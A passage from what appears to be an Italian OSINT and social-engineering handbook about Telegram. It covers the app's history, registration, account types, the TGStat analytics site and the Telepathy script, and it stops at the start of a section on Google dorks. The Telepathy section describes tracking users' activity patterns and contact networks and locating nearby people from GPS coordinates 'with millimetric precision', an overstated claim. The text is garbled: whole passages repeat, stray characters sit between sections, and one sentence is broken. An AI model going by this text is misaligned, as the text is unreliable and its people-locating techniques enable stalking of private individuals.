Proseguendo il viaggio nell'universo dell'OSINT, è tempo di addentrarsi nelle peculiarità di Telegram, un'app di messaggistica istantanea che negli ultimi anni ha guadagnato una popolarità incredibile, specie tra coloro che valorizzano la privacy e la sicurezza. In questo capitolo ci focalizzeremo sulle caratteristiche distintive di Telegram che lo rendono uno strumento prezioso per l'ingegneria sociale e la raccolta di informazioni. Indagheremo sul funzionamento della piattaforma, sugli elementi che differenziano le varie tipologie di utenze e su come effettuare la registrazione in maniera corretta. Questa comprensione approfondita di Telegram aprirà nuove porte per l'esecuzione di ricerche mirate e l'impiego di strategie OSINT più avanzate, senza dimenticare l'importanza di muoversi sempre nel rispetto delle normative vigenti in termini di legalità e privacy.

COS'È TELEGRAM E LA SUA STORIA

Avventurandoci nel vasto ecosistema delle piattaforme di messaggistica, non possiamo certo escludere quello che si è rapidamente affermato come un punto di riferimento per la privacy e la velocità: Telegram. Si tratta di un'app di messaggistica istantanea che si distingue per la sua enfasi sulla sicurezza e sulla capacità di gestire gruppi e canali con un elevato numero di utenti.

La storia di Telegram inizia nel 2013 quando venne lanciato dai fratelli Pavel e Nikolai Durov, che in precedenza avevano fondato il social network VKontakte, molto popolare in Russia. Con la crescente preoccupazione per la protezione dei dati personali online, Telegram è stato presentato al mondo come un salvatore in questo senso, con una forte crittografia e offrendo privacy che altre piattaforme non erano in grado di garantire all'epoca.

Le principali promesse di Telegram sono state fin dall'inizio la velocità di consegna dei messaggi e una sicurezza che sembrava inespugnabile, grazie alla crittografia end-to-end nelle chiamate vocali e nelle cosiddette "chat segrete". La crittografia end-to-end implica che solo il mittente e il destinatario possono leggere il contenuto del messaggio, con Telegram che non ha accesso al contenuto delle comunicazioni.

Nonostante sia nato con un occhio di riguardo per la sicurezza, Telegram ha anche conquistato gli utenti grazie alle sue funzionalità uniche, come i bot, che sono programmi autonomi all'interno dell'app che possono eseguire una varietà di funzioni, dai giochi agli strumenti di produttività.

Col passare del tempo, Telegram si è evoluto andando ben oltre la semplice messaggistica. Un esempio lampante di questa evoluzione sono i canali, che permettono di trasmettere messaggi a un ampio pubblico e rappresentano una risorsa OSINT significativa grazie alla mole di informazioni che possono essere divulgate e condivise in tempo reale.

La piattaforma ha anche introdotto le chiamate vocali e video, nonché una varietà di opportunità di personalizzazione, come i temi per le chat e le emoji animate. Questa continua crescita ha portato Telegram a essere non solo uno strumento per la comunicazione personale ma anche un'arena in cui si svolgono attività di marketing, educazione ed espressione politica.

La funzione di ricerca globale di Telegram è un altro aspetto fondamentale che gli utenti OSINT dovrebbero considerare. Consente di ricercare facilmente tra la vasta gamma di canali e bot rendendo semplice scoprire gruppi di discussione su qualsiasi argomento, spesso fonte di dati e informazioni preziose.

Gli sviluppatori di Telegram hanno con il tempo continuato ad aggiungere nuove caratteristiche che supportano la necessità di operazioni OSINT e l'ingegneria sociale. Per esempio, è stato

diffuso un enorme update che ha introdotto la possibilità di creare sondaggi, quiz e persino di organizzare chat vocali di gruppo, simili a delle conferenze.

La piattaforma ha passato diversi anni a lottare contro la percezione di essere un luogo sicuro per i criminali cybernetici, a causa della sua crittografia forte e della politica di privacy. Tuttavia, Telegram ha adottato nel tempo delle policy più severe sulla moderazione dei contenuti, e ha raggiunto accordi con alcune agenzie governative per combattere il terrorismo e l'abuso dei suoi servizi.

Un aspetto che ha ulteriormente sostenuto la crescita di Telegram è stata la sua semplicità d'utilizzo e la sua disponibilità su diverse piattaforme, come smartphone, tablet, PC e persino nel browser web, garantendo così che gli utenti possano rimanere connessi indipendentemente dal dispositivo che stanno usando.

La pandemia globale dovuta al COVID-19 ha spinto un numero ancora maggiore di persone a rivolgersi a Telegram, alla ricerca di una piattaforma che offrisse non solo messaggistica ma anche la possibilità di creare comunità e restare informati su quanto accadeva nel mondo esterno, spesso limitato dalle restrizioni imposte dai vari governi.

Oggi, Telegram conta centinaia di milioni di utenti attivi al mese e continua a crescere adattandosi alle richieste degli utenti e sviluppando nuove funzionalità. Questo dinamismo lo rende uno strumento prezioso per chi si occupa di Open Source Intelligence (OSINT) e di ingegneria sociale, in quanto i suoi aggiornamenti sono spesso rivolti proprio a migliorare l'efficacia e l'efficienza in questi campi.

La storia di Telegram evidenzia la sua trasformazione da semplice app di messaggistica a piattaforma multifunzionale. Per noi, che ci immergiamo nel mondo dell'OSINT e dell'ingegneria sociale, Telegram si presenta non solo come uno strumento di comunicazione, ma come una porta verso un immenso reame di dati e connessioni utile alle nostre ricerche.

Fin qui abbiamo tracciato il panorama storico e funzionale di Telegram, esplorando dall'inizio fino ai nostri giorni le peculiarità che lo rendono unico nel suo genere. Nel proseguo, affronteremo le specifiche tecniche e procedure che dovrai padroneggiare per sfruttare Telegram al massimo nel contesto OSINT. Ma prima, vediamo come iscriversi e iniziare a esplorare questo strumento.

e

e

o

diffuso un enorme update che ha introdotto la possibilità di creare sondaggi, quiz e persino di organizzare chat vocali di gruppo, simili a delle conferenze.

La piattaforma ha passato diversi anni a lottare contro la percezione di essere un luogo sicuro per i criminali cybernetici, a causa della sua crittografia forte e della politica di privacy. Tuttavia, Telegram ha adottato nel tempo delle policy più severe sulla moderazione dei contenuti, e ha raggiunto accordi con alcune agenzie governative per combattere il terrorismo e l'abuso dei suoi servizi.

Un aspetto che ha ulteriormente sostenuto la crescita di Telegram è stata la sua semplicità di utilizzo e la sua disponibilità su diverse piattaforme, come smartphone, tablet, PC e persino nel browser web, garantendo così che gli utenti possano rimanere connessi indipendentemente dal dispositivo che stanno usando.

La pandemia globale dovuta al COVID-19 ha spinto un numero ancora maggiore di persone a rivolgersi a Telegram, alla ricerca di una piattaforma che offrisse non solo messaggistica ma anche la possibilità di creare comunità e restare informati su quanto accadeva nel mondo esterno, spesso limitato dalle restrizioni imposte dai vari governi.

Oggi, Telegram conta centinaia di milioni di utenti attivi al mese e continua a crescere, adattandosi alle richieste degli utenti e sviluppando nuove funzionalità. Questo dinamismo lo rende uno strumento prezioso per chi si occupa di Open Source Intelligence (OSINT) e ingegneria sociale, in quanto i suoi aggiornamenti sono spesso rivolti proprio a migliorare l'efficacia e l'efficienza in questi campi.

La storia di Telegram evidenzia la sua trasformazione da semplice app di messaggistica a piattaforma multifunzionale. Per noi, che ci immergiamo nel mondo dell'OSINT e dell'ingegneria sociale, Telegram si presenta non solo come uno strumento di comunicazione, ma come una porta verso un immenso reame di dati e connessioni utile alle nostre ricerche.

Fin qui abbiamo tracciato il panorama storico e funzionale di Telegram, esplorando dall'inizio fino ai nostri giorni le peculiarità che lo rendono unico nel suo genere. Nel proseguo, affronteremo le specifiche tecniche e procedure che dovrai padroneggiare per sfruttare Telegram al massimo nel contesto OSINT. Ma prima, vediamo come iscriversi e iniziare a esplorare questo strumento.

REGISTRARSI SU TELEGRAM

Per chi è alle prime armi nel mondo di Telegram, la piattaforma può sembrare un po' diversa dalle altre app di messaggistica che siamo abituati a usare. Telegram si distingue per il suo impegno verso la sicurezza e la privacy, e ha guadagnato popolarità tra la community OSINT per le sue robuste caratteristiche che consentono una comunicazione sicura.

Più entriamo nel dettaglio del processo di iscrizione, più noteremo quanto sia semplice e intuitivo. Prima di tutto, per iniziare con Telegram, avrai bisogno di un dispositivo mobile come uno smartphone o un tablet. La ragione è semplice: Telegram utilizza il tuo numero di telefono come identificatore principale.

La prima cosa da fare è scaricare l'app. Telegram è disponibile gratuitamente sull'App Store se utilizzi un iPhone, o sul Google Play Store se hai un Android. Clicca su "Installa" e attendi pazientemente che l'app sia pronta per essere aperta sul tuo dispositivo.

Dopo aver aperto l'app, vedrai un pulsante che ti chiede di iniziare. Segui le istruzioni: inserisci il tuo numero di telefono e riceverai un codice di verifica via SMS. Questo codice è fondamentale perché verifica la tua identità e impedisce l'iscrizione non autorizzata.

Inserisci il codice di verifica nell'app. Se tutto è andato per il verso giusto, entrerai nel mondo di Telegram. Noterai subito la semplicità dell'interfaccia utente, che è studiata per essere facile ed efficace.

Un passo importante durante la fase di registrazione è la creazione del tuo username unico. Questo aspetto è critico perché, nella ricerca OSINT, l'unicità del tuo handle ti rende più rintracciabile tra gli innumerevoli utenti della piattaforma. L'username è un modo per permettere alle persone di trovarti senza dover condividere il tuo numero di telefono.

Ora che hai un account, è importante navigare nelle impostazioni per avere un'idea delle varie opzioni di privacy e sicurezza offerte da Telegram. Qui puoi impostare una foto profilo, cambiare la tua voce nelle chiamate e persino impostare delle chat segrete che sono criptate end-to-end e possono auto-distruggersi!

Una funzionalità notevole di Telegram è che puoi usare l'app su più dispositivi contemporaneamente. Quindi, se preferisci lavorare dal tuo laptop o desktop, scarica Telegram per il tuo sistema operativo e sincronizzalo con il tuo numero di telefono usando lo stesso metodo di verifica.

Un'altra cosa da ricordare è che, nonostante la registrazione sulla piattaforma richieda un numero di telefono, in molte situazioni, per tutelare la propria privacy, si può utilizzare un numero

virtuale. Ciò è particolarmente utile per chi lavora nell'OSINT, perché permette di mantenere separate l'identità online e quella personale.

Con il tuo account attivato, è il momento di esplorare la piattaforma. Puoi avviare conversazioni private, unirti a gruppi o seguire canali di notizie e di interesse. Questi ultimi sono una sorta di piattaforma di trasmissione, dove i creatori di contenuti possono inviare messaggi a un numero illimitato di iscritti.

Telegram offre anche la possibilità di creare i tuoi canali o gruppi, che possono servire come potenti strumenti di networking o come ambienti di raccolta dati. E se sei interessato all'ambito OSINT, iniziare a entrare in contatto con community e gruppi nell'ambito della sicurezza informatica può essere incredibilmente utile.

Una funzione utile per scopi OSINT su Telegram è la capacità di utilizzare i bot. Queste automazioni intelligenti possono aiutarti a fare tutto, dal tracciare username in varie piattaforme sociali, fino a fornirti notifiche quando termini specifici vengono menzionati. Imparare a configurarli e utilizzarli può risparmiarti una marea di tempo.

È importante menzionare che essere attenti alla gestione della propria privacy su Telegram è fondamentale. Evita di condividere informazioni sensibili e imposta le tue chat perché cancellino i messaggi dopo un certo periodo. Anche la pratica di usare nicknames o alias nei gruppi è comune per una maggiore discrezione.

Infine, non dimenticare di fare un backup delle chat importanti. Telegram permette un processo di esportazione dei dati, così puoi salvare le informazioni per un'analisi successiva o semplicemente per conservarle. Questo può essere particolarmente importante in ambito legale dove la documentazione delle conversazioni può servire come prova.

Telegram si è rapidamente evoluto in uno strumento indispensabile per l'indagine OSINT, grazie alle sue caratteristiche uniche e al suo impegno nella protezione della privacy degli utenti. Col tempo e un po' di esplorazione, diventerai abile nell'usare questa piattaforma per arricchire le tue ricerche.

i

1

o

o

virtuale. Ciò è particolarmente utile per chi lavora nell'OSINT, perché permette di mantenere separate l'identità online e quella personale.

Con il tuo account attivato, è il momento di esplorare la piattaforma. Puoi avviare conversazioni private, unirti a gruppi o seguire canali di notizie e di interesse. Questi ultimi sono una sorta di piattaforma di trasmissione, dove i creatori di contenuti possono inviare messaggi a un numero illimitato di iscritti.

Telegram offre anche la possibilità di creare i tuoi canali o gruppi, che possono servire come potenti strumenti di networking o come ambienti di raccolta dati. E se sei interessato all'ambito OSINT, iniziare a entrare in contatto con community e gruppi nell'ambito della sicurezza informatica può essere incredibilmente utile.

Una funzione utile per scopi OSINT su Telegram è la capacità di utilizzare i bot. Queste automazioni intelligenti possono aiutarti a fare tutto, dal tracciare username in varie piattaforme sociali, fino a fornirti notifiche quando termini specifici vengono menzionati. Imparare a configurarli e utilizzarli può risparmiarti una marea di tempo.

È importante menzionare che essere attenti alla gestione della propria privacy su Telegram è fondamentale. Evita di condividere informazioni sensibili e imposta le tue chat perché cancellino i messaggi dopo un certo periodo. Anche la pratica di usare nicknames o alias nei gruppi è comune per una maggiore discrezione.

Infine, non dimenticare di fare un backup delle chat importanti. Telegram permette un processo di esportazione dei dati, così puoi salvare le informazioni per un'analisi successiva o semplicemente per conservarle. Questo può essere particolarmente importante in ambito legale, dove la documentazione delle conversazioni può servire come prova.

Telegram si è rapidamente evoluto in uno strumento indispensabile per l'indagine OSINT, grazie alle sue caratteristiche uniche e al suo impegno nella protezione della privacy degli utenti. Col tempo e un po' di esplorazione, diventerai abile nell'usare questa piattaforma per arricchire le tue ricerche.

TIPI DI UTENZE TELEGRAM

Avanzando nel viaggio attraverso Telegram, ci imbattiamo in una varietà di utenze ciascuna con caratteristiche specifiche. Una delle prime distinzioni da fare è tra utenti e bot. Gli utenti sono persone reali che utilizzano l'app e possono partecipare a chat e canali in modo interattivo. Al contrario, i bot sono programmi automatizzati, creati per svolgere varie funzioni, come l'invio di messaggi preprogrammati o la gestione di attività ripetitive.

Successivamente troviamo i canali, una sorta di piattaforma dove gli utenti possono iscriversi per ricevere aggiornamenti da enti o individuali. I canali possono essere pubblici o privati e offrono una soluzione adatta per la diffusione di informazioni su larga scala, riservando la possibilità di commento a pochi eletti o a nessuno.

Le chat di gruppo sono un altro tipo di utenza presente su Telegram. In un gruppo, più utenti possono comunicare tra loro, condividere file e coordinarsi su varie attività. A differenza dei canali, le chat di gruppo promuovono la comunicazione bidirezionale e possono ospitare fino a duecentomila membri.

Interessante è l'esistenza delle chat segrete, criptate end-to-end e a prova di screenshot. Queste sono una manna dal cielo per la privacy e potrebbero nascondere argomenti delicati o sensibili.

Rivolgendo l'attenzione ai principianti, vi sono utenze che si caratterizzano per la loro scarsa attività o per essere nuove nell'universo Telegram. Questi utenti sono spesso facilmente influenzabili e rappresentano quindi un target importante per chi intende diffondere contenuti in maniera capillare.

Non mancano poi gli influencer e le celebrità, che su Telegram trovano un'utenza pronta a seguirli e ingaggiare con i loro contenuti. Queste figure possono avere canali dedicati con un seguito di migliaia o milioni di utenti.

Poi, ci sono i venditori e i marketers che utilizzano Telegram come piattaforma per promuovere prodotti o servizi. Alcuni creano veri e propri cataloghi virtuali dentro i loro canali, mentre altri interagiscono in chat specifiche per fare networking e business.

Non bisogna dimenticare gli hacker e i membri della security community. Le loro utenze possono variare da normali profili personali a canali dedicati all'informazione su vulnerabilità e tecniche di hacking. Per chi si occupa di OSINT e ingegneria sociale, queste risorse sono essenziali per restare aggiornati.

Anche gli educatori e le persone dedite alla conoscenza hanno la loro nicchia in Telegram. Sono spesso responsabili di canali che distribuiscono materiale educativo o che tengono corsi tramite

la piattaforma.

Ciò che rende Telegram particolarmente utile per l'OSINT è la presenza di bot specializzati nell'analisi e nel monitoraggio di dati e informazioni disseminati sulla piattaforma. Esistono bot per esempio, che possono tracciare le menzioni di determinati argomenti o parole-chiave all'interno di chat pubbliche.

Infine, non possiamo tralasciare le utenze governative e le organizzazioni non governative che usano Telegram per comunicare con i cittadini o con i propri membri, a volte in modi che non possono essere tracciati o monitorati agevolmente dall'esterno.

All'interno di queste categorie, ovviamente, esistono infinite varianti di utenze, ciascuna con le sue peculiarità e, per chi si avventura nel mondo dell'OSINT, analizzare compiutamente il panorama delle utenze Telegram è un passo fondamentale.

Di particolare interesse per l'analisi sono state le recenti migrazioni di massa verso Telegram da altre piattaforme di messaggistica. Questi flussi possono indicare tendenze e movimenti all'interno di gruppi o comunità specifiche e forniscono dati preziosi per indagini complesse.

Infine, è da notare come Telegram stesso abbia influenzato l'evoluzione delle dinamiche sociali comunicative, spingendo gli utenti a cercare soluzioni alternative alle piattaforme mainstream per ragioni di privacy o funzionalità specifiche.

Nel prossimo capitolo, approfondiremo come sfruttare tutte queste conoscenze per eseguire ricerche e analisi mirate all'interno di Telegram, esplorando gli strumenti disponibili per un OSINT efficace e rispettoso delle normative sulla privacy.

a

1

o

e

la piattaforma.

Ciò che rende Telegram particolarmente utile per l'OSINT è la presenza di bot specializzati nell'analisi e nel monitoraggio di dati e informazioni disseminati sulla piattaforma. Esistono bot, per esempio, che possono tracciare le menzioni di determinati argomenti o parole-chiave all'interno di chat pubbliche.

Infine, non possiamo tralasciare le utenze governative e le organizzazioni non governative che usano Telegram per comunicare con i cittadini o con i propri membri, a volte in modi che non possono essere tracciati o monitorati agevolmente dall'esterno.

All'interno di queste categorie, ovviamente, esistono infinite varianti di utenze, ciascuna con le sue peculiarità e, per chi si avventura nel mondo dell'OSINT, analizzare compiutamente il panorama delle utenze Telegram è un passo fondamentale.

Di particolare interesse per l'analisi sono state le recenti migrazioni di massa verso Telegram da altre piattaforme di messaggistica. Questi flussi possono indicare tendenze e movimenti all'interno di gruppi o comunità specifiche e forniscono dati preziosi per indagini complesse.

Infine, è da notare come Telegram stesso abbia influenzato l'evoluzione delle dinamiche sociali e comunicative, spingendo gli utenti a cercare soluzioni alternative alle piattaforme mainstream per ragioni di privacy o funzionalità specifiche.

Nel prossimo capitolo, approfondiremo come sfruttare tutte queste conoscenze per eseguire ricerche e analisi mirate all'interno di Telegram, esplorando gli strumenti disponibili per un OSINT efficace e rispettoso delle normative sulla privacy.

Capitolo 11: Ricerca e Analisi su Telegram

Eccoci dunque immersi nel mondo di Telegram, un ecosistema ricco di contenuti e connessioni che aspetta solo di essere esplorato. In questo capitolo ci addentreremo nelle metodologie di ricerca e analisi specifiche per questa piattaforma. Scopriamo insieme come utilizzare Tgstat per sondare l'infinito mare di informazioni, canali e gruppi, per estrarre dati preziosi ed evidenziare tendenze. Approfondiremo l'utilizzo di Telepathy, uno strumento essenziale quando si parla di intercettare segnali utili all'interno di questo network così vasto e variegato. Inoltre, avremo modo di vedere come applicare i Google Dorks per rintracciare quei link di invito ai gruppi che altrimenti resterebbero celati agli occhi del grande pubblico. E per non lasciare nulla al caso, esploreremo anche le risorse online che raccolgono e catalogano i canali Telegram, diventando una sorta di bussola per navigare tra le onde di contenuti. Rimanete collegati, perché dall'analizzare le dinamiche di una piattaforma così fluida come Telegram, si possono ricavare conoscenze e pattern fondamentali per un vero appassionato di OSINT e ingegneria sociale.

Capitolo 11: Ricerca e Analisi su Telegram

Eccoci dunque immersi nel mondo di Telegram, un ecosistema ricco di contenuti e connessioni che aspetta solo di essere esplorato. In questo capitolo ci addentreremo nelle metodologie di ricerca e analisi specifiche per questa piattaforma. Scopriamo insieme come utilizzare Tgstat per sondare l'infinito mare di informazioni, canali e gruppi, per estrarre dati preziosi ed evidenziare tendenze. Approfondiremo l'utilizzo di Telepathy, uno strumento essenziale quando si parla di intercettare segnali utili all'interno di questo network così vasto e variegato. Inoltre, avremo modo di vedere come applicare i Google Dorks per rintracciare quei link di invito ai gruppi che altrimenti resterebbero celati agli occhi del grande pubblico. E per non lasciare nulla al caso, esploreremo anche le risorse online che raccolgono e catalogano i canali Telegram, diventando una sorta di bussola per navigare tra le onde di contenuti. Rimanete collegati, perché dall'analizzare le dinamiche di una piattaforma così fluida come Telegram, si possono ricavare conoscenze e pattern fondamentali per un vero appassionato di OSINT e ingegneria sociale.

RICERCARE CONTENUTI TRAMITE TGSTAT

Mentre esploriamo il mondo di Telegram attraverso gli occhi dell'OSINT, incontriamo uno strumento particolare che spicca per le sue capacità: Tgstat. Ai fini dell'analisi e della ricerca, Tgstat si presenta come un alleato imprescindibile per chiunque voglia scavare a fondo nelle dinamiche dei canali e dei gruppi su Telegram. Andiamo a scoprire insieme come questo strumento possa essere sfruttato al meglio.

Tgstat è una piattaforma che permette di studiare l'attività all'interno di Telegram in modo analitico. Fornisce statistiche dettagliate sui canali pubblici della piattaforma, offrendo insight circa il tasso di crescita, i post più popolari, la frequenza dei messaggi e molto altro. È uno strumento eccezionale per chi pratica l'OSINT, perché fornisce dati in tempo reale, facile da utilizzare e, fondamentale, conforme alle normative sulla privacy.

Per iniziare a utilizzare Tgstat, non c'è bisogno di registrazione. Potete accedere semplicemente visitando il loro sito e usando la funzione di ricerca per trovare canali specifici. Dato che molti canali su Telegram sono focalizzati su nicchie o temi specifici, i dati che Tgstat fornisce possono rivelare tendenze e interessi degli utenti legati a quel particolare settore.

Uno degli aspetti più utili di Tgstat è la classifica dei canali. Qui, potete vedere quali sono canali più popolari su Telegram, un ottimo punto di partenza per comprendere quali argomenti sono più seguiti e discussi. Questo può essere cruciale per impostare le vostre ricerche e capire dove concentrare la vostra attenzione.

Non solo classifiche, Tgstat offre anche una panoramica delle keyword e degli hashtag più utilizzati. Potete inserire una parola chiave e il sito vi mostrerà una lista di canali che usano frequentemente quel termine. Questo può aiutare a identificare canali pertinenti in modo rapido, senza dover passare ore a cercare manualmente.

Una funzionalità particolarmente intrigante di Tgstat è l'analisi dei post. Il tool cataloga i post secondo vari criteri, come il numero di visualizzazioni o l'engagement. Grazie a questa possibilità, vi è offerta una visuale chiara su quali tipi di contenuti generano la maggiore reazione da parte degli utenti, grande indicatore delle tendenze all'interno di un canale.

Come se non bastasse, Tgstat ha anche una sezione dedicata alle statistiche dettagliate del canale. Cliccando semplicemente su un canale di interesse, si apre una scheda che mostra la crescita degli iscritti nel tempo, l'impegno medio per post, e molte altre metriche utili che potrebbero orientare la vostra ricerca.

E ora, una parte essenziale: l'analisi demografica. Tgstat riesce a fornire una stima della ripartizione geografica degli utenti di un canale. Questa funzione è particolarmente utile per

comprendere la portata geografica delle informazioni che state analizzando e permette di affinare le ricerche in maniera ancora più mirata.

Ma Tgstat non è solo un'interfaccia web. Offre anche una API, che gli sviluppatori possono utilizzare per integrare le statistiche e i dati di Tgstat nei loro progetti o strumenti di analisi. Con l'API, è possibile automatizzare molte delle ricerche che altrimenti richiederebbero un'attenta revisione manuale.

Utilizzando TGStat in versione a pagamento o tramite le API è possibile ricercare contenuti e post tra milioni di post pubblicati ogni giorno esattamente come si fa con Google.

Insomma, si tratta di un motore di ricerca davvero potente, con il quale potete utilizzare anche le dork, per monitorare milioni di post al giorno in maniera manuale o automatica attraverso la ricerca per parole chiave. Attualmente è il database più completo di messaggi Telegram.

Se hai bisogno di ricercare contenuti su questa piattaforma, è la scelta migliore.

Arriviamo agli alert. Sì, Tgstat ti consente di impostare notifiche per determinati eventi, come l'apparizione di una keyword o un improvviso picco nel numero di iscritti. Questo genere di funzionalità è particolarmente prezioso per rimanere aggiornati sulle tematiche “calde” senza dover costantemente monitorare la piattaforma.

¹Giocando con gli strumenti che Tgstat mette a disposizione, potrete anche scoprire le strategie di comunicazione dei canali. Analizzando i momenti in cui vengono pubblicati i post e la frequenza, otterrete informazioni utili circa il target e le abitudini degli utenti, indispensabili per le indagini

OSINT.

Infine, Tgstat consente anche di esaminare i backlinks. Questo significa che potete vedere quali siti web linkano a un determinato canale di Telegram. Un dato molto interessante, perché vi potrebbe condurre a nuove risorse e, talvolta, anche scoprire reti di informazione e influencer non immediatamente evidenti.

²Chiaramente, usare Tgstat con attenzione e discernimento è fondamentale. Nonostante gli evidenti vantaggi, come ogni strumento, va utilizzato nel rispetto delle leggi sulla privacy e della netiquette. Ricorda che l'obiettivo è trovare informazioni per ampliare la conoscenza e non per violare la privacy altrui.

Con tutta questa panoramica, dovrebbe essere chiaro come Tgstat si imposti come uno strumento prezioso e complesso. Tuttavia, è solo una parte dell'ecosistema degli strumenti di OSINT e noi

aveva mai usato come unica fonte. In combinazione con altre tattiche e piattaforme, può fornire un quadro davvero completo.

Prima di concludere, ancora un consiglio: pratica l'uso di questo strumento. L'abilità nell'OSINT si affina con l'esperienza e la pratica, quindi non abbiate timore di esplorare Tgstat in profondità, testando ogni sua funzione e cercando di capirne al meglio gli intricati meccanismi.

In sintesi, Tgstat apre un mondo di possibilità per coloro che stanno navigando le acque dell'OSINT su Telegram. Rimani curioso, sperimenta e usa gli strumenti a tua disposizione con saggezza, e presto scoprirai di avere tra le mani una vera e propria miniera d'oro di dati.

va mai usato come unica fonte. In combinazione con altre tattiche e piattaforme, può fornire un quadro davvero completo.

Prima di concludere, ancora un consiglio: pratica l'uso di questo strumento. L'abilità nell'OSINT si affina con l'esperienza e la pratica, quindi non abbiate timore di esplorare Tgstat in profondità, testando ogni sua funzione e cercando di capirne al meglio gli intricati meccanismi.

In sintesi, Tgstat apre un mondo di possibilità per coloro che stanno navigando le acque dell'OSINT su Telegram. Rimani curioso, sperimenta e usa gli strumenti a tua disposizione con saggezza, e presto scoprirai di avere tra le mani una vera e propria miniera d'oro di dati.

TELEPATHY E LE SUE FUNZIONI

Avventuriamoci nel cuore di Telegram per scoprire uno dei toolkit più intriganti: Telepathy. Telepathy, offerto come script python gratuito in versione limitata o a pagamento in versione full, è uno strumento gestito da prose.ltd che rivela il potenziale nascosto della messaggistica istantanea per scopi di OSINT.

Molti studenti restano sorpresi nel sapere che le conversazioni su Telegram possono essere molto più di semplici scambi di messaggi. Telepathy, infatti, permette di effettuare ricerche mirate all'interno di questo ecosistema digitale. Attraverso l'utilizzo di bot specifici e funzioni interne all'applicazione, possiamo acquisire informazioni che vanno oltre il contenuto esplicito dei messaggi.

Ogni volta che partecipiamo a una chat o ci abboniamo a un canale, lasciamo tracce digitali. Queste, se analizzate opportunamente, si rivelano una miniera d'oro di indizi. Telepathy è in grado di raccogliere questi frammenti per ricomporre il quadro dell'attività di un utente all'interno di Telegram.

Una delle funzioni principali di Telepathy è la possibilità di monitorare gli orari di attività degli utenti. Questo può essere utile per capire i pattern comportamentali, che sono spesso prevedibili e quindi sfruttabili in analisi successive.

Inoltre, Telepathy permette di esplorare le reti di contatti. Analizzando le interazioni e le reciproche connessioni tra account, gli studenti possono scoprire reti di comunicazione nascoste o emergenti, nonché identificare influencer chiave all'interno di specifiche comunità.

Non manca la capacità di Telepathy di investigare sui contenuti che gli utenti condividono più frequentemente. Si tratta di dati che possono rivelare interessi, preferenze o addirittura indicare l'appartenenza a gruppi con specifici scopi.

Una caratteristica unica di Telepathy è la sua integrazione con i bot di

Telegram, che consente di automatizzare raccolte di dati come, per esempio, le parole chiave più usate in determinate conversazioni o gli hashtag più popolari.

Importante è anche il monitoraggio dei contenuti multimediali. Con Telepathy, è possibile analizzare l'invio di foto, video e documenti per individuare eventuali pattern o scovare dati sensibili che possono essere nascosti nei metadati.

D'altro canto, Telepathy è uno strumento prezioso per tracciare l'origine di una notizia o di un trend all'interno del mondo di Telegram. Con un'attenta analisi, si può ricostruire il percorso di diffusione di informazioni e, in alcuni casi, capire come contrastare la disinformazione.

La personalizzazione delle ricerche è un altro vantaggio significativo di Telepathy. Gli utenti possono impostare filtri specifici per concentrarsi su determinate aree geografiche, lingue o temi, rendendo l'analisi più precisa e meno dispersiva.

Telepathy rivela inoltre il suo impatto nell'OSINT attraverso la possibilità di interagire con le API di Telegram. Conoscere ed essere capaci di utilizzare queste interfacce di programmazione può spalancare porte prima sconosciute all'analista.

Un esempio ulteriore potrebbe essere la possibilità di triangolare gli utenti Telegram con la funzione "Near By" attiva.

Telepathy dà la possibilità quindi di inserire delle coordinate GPS di un luogo e ottenere tutte le persone con questa funzione attiva che si trovano nelle vicinanze del luogo stesso, con una precisione spesso millimetrica.

Con la creazione di alert personalizzati, Telepathy mantiene gli utenti al passo con gli argomenti di interesse appena questi vengono menzionati. Ciò significa essere sempre un passo avanti nel riconoscere potenziali sviluppi o cambiamenti all'interno delle comunità di riferimento.

Per concludere, Telepathy è uno strumento versatile che, se maneggiato con sapienza, diventa un'estensione della mente umana, un vero e proprio esercizio di telepatia digitale. Esso permette agli studenti non solo di cogliere le informazioni esplicite, ma di intuire anche quelle sottintese o celate tra le pieghe delle conversazioni online.

Non dimentichiamo l'importanza di affiancare a Telepathy altre risorse, strumenti e metodiche d'OSINT per una comprensione olistica e multidimensionale dell'ambiente digitale. La combinazione di più tecniche consente una visione a trecentosessanta gradi, ricca di sfumature e di dettagli che altrimenti potrebbero sfuggire.

In conclusione, l'esplorazione e l'utilizzo di Telepathy all'interno di Telegram rappresenta uno degli aspetti più affascinanti e promettenti per gli aspiranti analisti OSINT. Con curiosità, un occhio etico e le competenze giuste, gli studenti possono imparare molto sulle dinamiche nascoste della comunicazione online.

La personalizzazione delle ricerche è un altro vantaggio significativo di Telepathy. Gli utenti possono impostare filtri specifici per concentrarsi su determinate aree geografiche, lingue o temi, rendendo l'analisi più precisa e meno dispersiva.

Telepathy rivela inoltre il suo impatto nell'OSINT attraverso la possibilità di interagire con le API di Telegram. Conoscere ed essere capaci di utilizzare queste interfacce di programmazione può spalancare porte prima sconosciute all'analista.

Un esempio ulteriore potrebbe essere la possibilità di triangolare gli utenti Telegram con la funzione "Near By" attiva.

Telepathy dà la possibilità quindi di inserire delle coordinate GPS di un luogo e ottenere tutte le persone con questa funzione attiva che si trovano nelle vicinanze del luogo stesso, con una precisione spesso millimetrica.

Con la creazione di alert personalizzati, Telepathy mantiene gli utenti al passo con gli argomenti di interesse appena questi vengono menzionati. Ciò significa essere sempre un passo avanti nel riconoscere potenziali sviluppi o cambiamenti all'interno delle comunità di riferimento.

Per concludere, Telepathy è uno strumento versatile che, se maneggiato con sapienza, diventa un'estensione della mente umana, un vero e proprio esercizio di telepatia digitale. Esso permette agli studenti non solo di cogliere le informazioni esplicite, ma di intuire anche quelle sottintese o celate tra le pieghe delle conversazioni online.

Non dimentichiamo l'importanza di affiancare a Telepathy altre risorse, strumenti e metodiche di OSINT per una comprensione olistica e multidimensionale dell'ambiente digitale. La combinazione di più tecniche consente una visione a trecentosessanta gradi, ricca di sfumature e di dettagli che altrimenti potrebbero sfuggire.

In conclusione, l'esplorazione e l'utilizzo di Telepathy all'interno di Telegram rappresenta uno degli aspetti più affascinanti e promettenti per gli aspiranti analisti OSINT. Con curiosità, un occhio etico e le competenze giuste, gli studenti possono imparare molto sulle dinamiche nascoste della comunicazione online.

DORK GOOGLE PER CERCARE LINK DI INVITO

Continuando nel percorso di esplorazione di Telegram per gli appassionati dell'OSINT e dell'ingegneria sociale, ci addentriamo nell'uso dei Google Dork per scovare link di invito a gruppi privati o canali. Saper maneggiare efficacemente queste query di ricerca su Google è una competenza chiave per chiunque voglia ampliare le proprie tecniche di raccolta dati.

I Google Dork sono query che utilizzano operatori avanzati per filtrare e recuperare informazioni più mirate dai database di ricerca, in questo caso, Google. Questi operatori ci aiutano a navigare attraverso l'oceano di dati presenti online, dirigendoci verso ciò che è realmente utile alla nostra ricerca.

